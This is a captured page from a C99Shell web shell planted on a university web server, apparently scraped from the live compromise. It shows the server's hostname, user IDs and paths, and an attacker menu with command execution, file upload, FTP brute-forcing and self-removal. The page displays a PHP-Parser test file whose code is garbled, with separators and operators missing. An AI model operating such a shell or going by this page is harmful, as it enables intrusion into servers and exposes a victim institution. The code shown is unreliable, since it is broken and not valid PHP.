!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache/2.2.22 (Debian). PHP/5.6.36 

uname -a: Linux h05.hvosting.ua 4.9.110-amd64 #3 SMP Sun Nov 4 16:27:09 UTC 2018 x86_64 

uid=1389(h33678) gid=1099(h33678) groups=1099(h33678),502(mgrsecure) 

Safe-mode: OFF (not secure)

/home/h33678/data/www/it-man.ztu.edu.ua/src/vendor/nikic/php-parser/test/PhpParser/   drwxr-xr-x
Free 116.83 GB of 200.55 GB (58.26%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     CodeTestAbstract.php (2.06 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace PhpParser;

abstract class 
CodeTestAbstract extends \PHPUnit_Framework_TestCase
{
    protected function 
getTests($directory$fileExtension) {
        
$it = new \RecursiveDirectoryIterator($directory);
        
$it = new \RecursiveIteratorIterator($it, \RecursiveIteratorIterator::LEAVES_ONLY);
        
$it = new \RegexIterator($it'(\.' preg_quote($fileExtension) . '$)');

        
$tests = array();
        foreach (
$it as $file) {
            
$fileName realpath($file->getPathname());
            
$fileContents file_get_contents($fileName);
            
$fileContents canonicalize($fileContents);

            
// evaluate @@{expr}@@ expressions
            
$fileContents preg_replace_callback(
                
'/@@\{(.*?)\}@@/',
                function(
$matches) {
                    return eval(
'return ' $matches[1] . ';');
                },
                
$fileContents
            
);

            
// parse sections
            
$parts preg_split("/\n-----(?:\n|$)/"$fileContents);

            
// first part is the name
            
$name array_shift($parts) . ' (' $fileName ')';
            
$shortName basename($fileName'.test');

            
// multiple sections possible with always two forming a pair
            
$chunks array_chunk($parts2);
            foreach (
$chunks as $i => $chunk) {
                
$dataSetName $shortName . (count($chunks) > '#' $i '');
                list(
$expected$mode) = $this->extractMode($chunk[1]);
                
$tests[$dataSetName] = array($name$chunk[0], $expected$mode);
            }
        }

        return 
$tests;
    }

    private function 
extractMode($expected) {
        
$firstNewLine strpos($expected"\n");
        if (
false === $firstNewLine) {
            
$firstNewLine strlen($expected);
        }

        
$firstLine substr($expected0$firstNewLine);
        if (
!== strpos($firstLine'!!')) {
            return [
$expectednull];
        }

        
$expected = (string) substr($expected$firstNewLine 1);
        return [
$expectedsubstr($firstLine2)];
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by PinoyWH1Z | C99Shell Github | Generation time: 0.04 ]--